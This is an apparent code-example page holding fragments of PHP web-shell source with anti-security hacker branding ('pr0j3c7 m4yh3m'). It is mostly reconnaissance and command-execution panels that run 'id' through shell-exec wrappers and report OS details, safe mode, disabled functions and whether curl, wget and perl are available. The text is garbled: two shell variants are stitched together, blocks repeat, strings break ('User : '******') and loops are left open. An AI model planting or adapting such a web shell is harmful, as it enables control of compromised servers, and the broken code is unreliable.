Exemple #1
0
     $openbasedir = FALSE;
     $hopenbasedir = "<font color=green>OFF (not secure)</font>";
 }
 ##################
 ##[ HTML START ]##
 ##################
 function srv_info($title, $contents)
 {
     echo "<tr><th>{$title}</th><td>:</td><td>{$contents}</td></tr>\n";
 }
 echo htmlhead($hsafemode);
 echo "<table id=pagebar>";
 echo "<tr><td colspan=2>\n";
 echo "<div class=fleft>{$hsafemode}</div>\n";
 echo "<div class=fright>";
 echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=" . @gethostbyname($_SERVER["HTTP_HOST"]) . "\">" . @gethostbyname($_SERVER["HTTP_HOST"]) . "</a> " . "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=" . $_SERVER["REMOTE_ADDR"] . "\">" . $_SERVER["REMOTE_ADDR"] . "</a> " . ($win ? "Drives: " . disp_drives($d, $surl) : "");
 echo "</div>\n</td></tr>\n";
 echo "<tr><td width=50%>\n";
 echo "<table class=info>\n";
 srv_info("Software", "" . $DISP_SERVER_SOFTWARE);
 srv_info("Uname", php_uname());
 srv_info("User", $win ? get_current_user() . " (uid=" . getmyuid() . " gid=" . getmygid() . ")" : dQ99exec("id"));
 echo "</table></td>\n" . "<td width=50%>\n";
 echo "<table class=info>\n";
 srv_info("Freespace", disp_freespace($d));
 echo "</table></td></tr>\n";
 echo "<tr><td colspan=2>\n";
 echo get_status();
 echo "</td></tr>\n";
 echo "<tr><td colspan=2>\n";
 echo $safemodeexecdir ? "SafemodeExecDir: " . $safemodeexecdir . "<br>\n" : "";
 if (substr($d, -1) != DIRECTORY_SEPARATOR) {
     $d .= DIRECTORY_SEPARATOR;
 }
 $d = str_replace("\\\\", "\\", $d);
 $dispd = htmlspecialchars($d);
 echo $html_start;
 echo "<div class=barheader2><h3>{$sh_name}</h3>| pr0j3c7 m4yh3m | 4n71-s3c m0v3m3n7 | f**k wh173h475 |</div>\n";
 echo "<table id=pagebar><tr><td width=50%><p>" . "50f7w4r3 : " . $DISP_SERVER_SOFTWARE . " - <a href=" . $surl . "antisec=phpini>php.ini</a><br>" . "{$hsafemode}<br>" . "OS : " . php_uname() . "<br>";
 if (!$win) {
     echo "Us3r 1D : " . s3x3c("id");
 } else {
     echo "User : "******"</p></td>" . "<td width=50%><p>53rv3r 1P : <a href=http://whois.domaintools.com/" . gethostbyname($_SERVER["HTTP_HOST"]) . ">" . gethostbyname($_SERVER["HTTP_HOST"]) . "</a> - " . "Y0ur 1P - h1d3 17 v14 t0r n37w0rk : <a href=http://whois.domaintools.com/" . $_SERVER["REMOTE_ADDR"] . ">" . $_SERVER["REMOTE_ADDR"] . "</a><br>";
 if ($win) {
     echo "Dr1v3s : " . disp_drives($d, $surl) . "<br>";
 }
 echo "Fr33sp4c3 : " . disp_freespace($d);
 echo "</p></td></tr>";
 echo "<tr><td colspan=2><p>";
 echo "MySQL: " . testmysql() . " MSSQL: " . testmssql() . " Oracle: " . testoracle() . " MSSQL: " . testmssql() . " PostgreSQL: " . testpostgresql() . " cURL: " . testcurl() . " WGet: " . testwget() . " Fetch: " . testfetch() . " Perl: " . testperl() . "<br>";
 echo "Disabled Functions: " . showdisablefunctions();
 echo "</p></td></tr>";
 echo "<tr><td colspan=2 id=mainmenu>";
 if (count($quicklaunch2an) > 0) {
     foreach ($quicklaunch2an as $item) {
         $item[1] = str_replace("%d", urlencode($d), $item[1]);
         $item[1] = str_replace("%sort", $sort, $item[1]);
         $v = realpath($d . "..");
         if (empty($v)) {
             $a = explode(DIRECTORY_SEPARATOR, $d);
 if (substr($d, -1) != DIRECTORY_SEPARATOR) {
     $d .= DIRECTORY_SEPARATOR;
 }
 $d = str_replace("\\\\", "\\", $d);
 $dispd = htmlspecialchars($d);
 echo $html_start;
 echo "<table id=pagebar><tr><td width=50%><p>" . "Software : " . $DISP_SERVER_SOFTWARE . " - <a href=" . $surl . "x=phpini>php.ini</a><br>" . "Safe Mode:{$hsafemode}<br>Magic Quotes:{$quot}<br>" . "Uname -a : " . php_uname() . "<br>";
 if (!$win) {
     echo "id : " . myshellexec("id");
 } else {
     echo "User : "******"<br></p>" . "<p>Server IP : <a href=http://whois.domaintools.com/" . gethostbyname($_SERVER["HTTP_HOST"]) . ">" . gethostbyname($_SERVER["HTTP_HOST"]) . "</a> - " . "Your IP : <a href=http://whois.domaintools.com/" . $_SERVER["REMOTE_ADDR"] . ">" . $_SERVER["REMOTE_ADDR"] . "</a>";
 echo "<br><p>";
 if ($win) {
     echo "Drives : " . disp_drives($d, $surl) . "</p><p>";
 }
 echo "Freespace : " . disp_freespace($d);
 echo "</p><p>";
 echo "MySQL: " . testmysql() . " MSSQL: " . testmssql() . " Oracle: " . testoracle() . " MSSQL: " . testmssql() . " PostgreSQL: " . testpostgresql() . " cURL: " . testcurl() . " WGet: " . testwget() . " Fetch: " . testfetch() . " Perl: " . testperl() . "<br>";
 echo "Disabled Functions: " . showdisablefunctions();
 echo "</p></td></tr>";
 echo "<tr><td colspan=2 id=mainmenu>";
 if (count($quicklaunch2) > 0) {
     foreach ($quicklaunch2 as $item) {
         $item[1] = str_replace("%d", urlencode($d), $item[1]);
         $item[1] = str_replace("%sort", $sort, $item[1]);
         $v = realpath($d . "..");
         if (empty($v)) {
             $a = explode(DIRECTORY_SEPARATOR, $d);
             unset($a[count($a) - 2]);